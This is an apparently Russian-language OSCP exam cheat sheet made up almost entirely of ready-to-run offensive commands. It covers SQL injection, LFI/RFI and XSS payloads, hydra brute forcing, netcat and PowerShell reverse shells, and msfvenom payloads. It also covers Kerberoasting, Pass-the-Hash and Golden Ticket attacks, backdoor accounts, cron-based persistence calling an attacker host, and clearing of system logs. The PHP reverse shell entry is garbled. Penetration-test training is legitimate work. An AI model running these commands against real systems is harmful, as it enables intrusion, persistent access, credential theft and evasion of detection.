OSCP alisher43
Полный арсенал для подготовки к OSCP/OSCP+
Сканирование и разведка
Nmap
# Полное сканирование TCP
nmap -sV -sC -p- --min-rate 1000 -T4 $ip -oA Full-TCP-Scan
# Быстрое сканирование UDP
nmap -sU --top-ports 1000 -T4 $ip -oA Quick-UDP-Scan
# Сканирование уязвимостей
nmap -p $discoveredports --script=vuln $ip -oA Vuln-Scan
# Агрессивное сканирование
nmap -A -T4 $ip -oA Aggressive-Scan
# Сканирование скриптов
nmap --script=default,safe,vuln $ip -oN Script-Scan
# Сканирование конкретных портов
nmap -p 80,443,445,3389 $ip -oN Targeted-Ports
# Обход фаервола
nmap -f --mtu 8 $ip
nmap --source-port 53 $ip
Перечисление DNS
# Перечисление NS, MX, TXT
host -t ns $domain
host -t mx $domain
host -t txt $domain
# Зонный трансфер
dig @ns1.$domain $domain axfr
# Перечисление поддоменов
dnsenum $domain --enum
gobuster dns -d $domain -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt
fierce --domain $domain
OSINT
# Поиск информации о домене
whois $domain
# Поиск поддоменов через сертификаты
curl -s "https://crt.sh/?q=$domain" | grep $domain
# Google Dorks
site:$domain filetype:pdf
site:$domain inurl:(login | admin | dashboard)
site:$domain ext:php
Сканирование уязвимостей
# Nikto
nikto -h http://$ip -output nikto_scan.txt
# OpenVAS
openvas-start
gvm-cli socket --xml " "
Веб-атаки
Перечисление директорий
# Использование gobuster
gobuster dir -u http://$ip -w /usr/share/wordlists/dirb/common.txt -x php,html,txt,asp,aspx
# Использование feroxbuster
feroxbuster -u http://$ip -w /usr/share/wordlists/dirb/big.txt -x php,html,txt -t 50
# Dirb
dirb http://$ip /usr/share/wordlists/dirb/common.txt -o dirb_scan.txt
SQL-инъекции
# Ручная проверка
' OR '1'='1' --
' UNION SELECT NULL, NULL, NULL --
' UNION SELECT username, password FROM users --
# Использование sqlmap
sqlmap -u "http://$ip/index.php?id=1" --dbms=mysql --dbs
sqlmap -u "http://$ip/form/" --forms -D database-name -T users --dump
sqlmap -u "http://$ip/login" --data="username=admin&password=test" --level=5 --risk=3
LFI/RFI
# Проверка LFI
http://$ip/index.php?file=../../etc/passwd
http://$ip/index.php?file=php://filter/convert.base64-encode/resource=index.php
# Проверка RFI
http://$ip/index.php?file=http://$attacker_ip/malicious.php
# Загрузка файла через LFI
curl "http://$ip/index.php?file=/proc/self/environ" | grep -i "user"
XSS
# Простой XSS
<script>alert('XSS Test')</script>
# Обход фильтров
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>
<body onload=alert('XSS')>
<script>alert(String.fromCharCode(88,83,83))</script> // HEX-кодировка
<img src="javascript:alert('XSS');">
# Обход WAF/фильтров
<script>eval('al\u0065rt("XSS")')</script> // Юникод
<script src=http://$attacker_ip/xss.js></script> // Внешний скрипт
<details/open/ontoggle=alert('XSS')><summary>Click me</summary>
# Тестирование через прокси
# 1. Настрой Burp Suite как прокси
# 2. Перехват запроса в параметре (например, ?id=1)
# 3. Вставь пейлоад: ?id=1<script>alert('XSS')</script>
# 4. Проверь ответ сервера
Перечисление
Hydra (брутфорс)
# Брутфорс SSH
hydra -l $username -P /usr/share/wordlists/rockyou.txt ssh://$ip -t 4
# Брутфорс HTTP-POST
hydra -l $username -P /usr/share/wordlists/rockyou.txt $ip http-post-form "/login:username=^USER^&password=^PASS^:F=incorrect"
# Брутфорс FTP
hydra -L users.txt -P /usr/share/wordlists/rockyou.txt ftp://$ip
Перечисление SMB
# Перечисление пользователей
rpcclient -U "" -N $ip -c "enumdomusers"
# Перечисление шар
smbclient -L //$ip -N
smbmap -H $ip -u "" -p ""
# Проверка уязвимостей SMB
nmap --script smb-vuln* -p445 $ip
enum4linux -a $ip
SNMP
# Перечисление с помощью snmpwalk
snmpwalk -c public -v1 $ip
# Брутфорс community string
onesixtyone -c /usr/share/wordlists/seclists/Miscellaneous/snmp.txt $ip
# Перечисление с snmp-check
snmp-check $ip
FTP
# Анонимный вход
ftp $ip
# Логин: anonymous, Пароль: [empty]
# Перечисление файлов
ncftpget -R -u anonymous $ip /local/path
Эскалация привилегий
Linux
# Проверка SUID-битов
find / -perm -4000 2>/dev/null
# Проверка конфигураций
cat /etc/passwd
cat /etc/shadow
cat /etc/crontab
sudo -l
# Проверка writable файлов
find / -writable -type f 2>/dev/null
# Использование linpeas
./linpeas.sh
# Проверка kernel exploits
uname -r
searchsploit linux kernel $(uname -r | cut -d'-' -f1)
Windows
# Перечисление пользователей
net user /domain
net user $username /domain
# Проверка привилегий
whoami /priv
whoami /all
# Использование winPEAS
winpeas.exe
# Проверка незащищённых сервисов
sc query
net start
# Проверка AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
Обратные шеллы
Netcat
# Создание обратного шелла
nc -e /bin/bash $ip 4444
# Прослушивание
nc -lvp 4444
# Без -e (альтернатива)
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $ip 4444 >/tmp/f
MSFvenom
# Обратный шелл для Windows
msfvenom -p windows/shell_reverse_tcp LHOST=$ip LPORT=4444 -f exe -o shell_reverse.exe
# Закодированный шелл
msfvenom -p windows/shell_reverse_tcp LHOST=$ip LPORT=4444 -f exe -e x86/shikata_ga_nai -i 9 -o shell_reverse_msf_encoded.exe
# Python reverse shell
msfvenom -p cmd/unix/reverse_python LHOST=$ip LPORT=4444 -o reverse.py
PHP
# Простой PHP reverse shell
& /dev/tcp/$ip/4444 0>&1'");
?>
# Загрузка через уязвимый веб
curl -X POST -F 'file=@reverse.php' http://$ip/upload.php
PowerShell
# PowerShell reverse shell
powershell -c "$client = New-Object System.Net.Sockets.TCPClient('$ip',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback+'PS> ');$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
Active Directory
Перечисление
# Перечисление пользователей и групп
net user /domain
net group /domain
net group "Domain Admins" /domain
# Использование BloodHound
bloodhound-python -u $username -p $password -d $domain -c All
# PowerView
powershell -ep bypass -c ". .\PowerView.ps1; Get-NetUser"
powershell -ep bypass -c ". .\PowerView.ps1; Get-NetComputer"
Атаки
# Kerberoasting
impacket-GetUserSPNs -dc-ip $ip $domain/$username:$password -request
# Pass-the-Hash
pth-winexe -U $domain/$username%$hash //$ip cmd.exe
# Golden Ticket
impacket-ticketer -nthash $krbtgt_hash -domain-sid $sid -domain $domain -user-id $user_id $username
# ASREPRoast
impacket-GetNPUsers $domain/ -usersfile users.txt -format hashcat -outputfile asrep_hashes.txt
Пивотинг
SSH-туннелирование
# Локальный порт форвардинг
ssh -L 8080:$internal_ip:80 $pivot_user@$pivot_ip
# Динамический туннель
ssh -D 9050 $pivot_user@$pivot_ip
# Proxychains
proxychains nmap -sT -Pn $internal_ip
Metasploit
# Настройка маршрута
route add $internal_subnet $session_id
# Использование socks4
auxiliary/server/socks4a
Chisel
# Сервер на атакующей машине
chisel server -p 9001 --reverse
# Клиент на скомпрометированной машине
chisel client $attacker_ip:9001 R:8080:localhost:80
Эксплуатация
Metasploit
# Поиск эксплойта
msfconsole -q
search $service_name
# Настройка и запуск
use exploit/windows/$service_name
set RHOST $ip
set LHOST $attacker_ip
run
Exploit-DB
# Поиск эксплойта
searchsploit $service_name $version
# Скачивание и компиляция
searchsploit -m $exploit_id
gcc exploit.c -o exploit
Manual Exploits
# Проверка EternalBlue
nmap --script smb-vuln-ms17-010 -p445 $ip
# Использование эксплойта
python eternalblue_exploit.py $ip
Пост-эксплуатация
Сбор информации
# Linux
whoami
id
uname -a
cat /etc/os-release
ps aux
lscpu
# Windows
systeminfo
netstat -ano
tasklist /v
wmic product get name,version
Сохранение доступа
# Linux: добавление пользователя
useradd -m -s /bin/bash backdoor
echo "backdoor:password" | chpasswd
# Linux: cron для персистентности
echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/$ip/4444 0>&1'" >> /etc/crontab
# Windows: добавление пользователя
net user backdoor password /add
net localgroup administrators backdoor /add
# Windows: запланированная задача
schtasks /create /sc minute /mo 1 /tn Backdoor /tr "C:\path\to\shell.exe"
Очистка следов
# Linux
history -c
echo > /var/log/auth.log
# Windows
wevtutil cl security
wevtutil cl system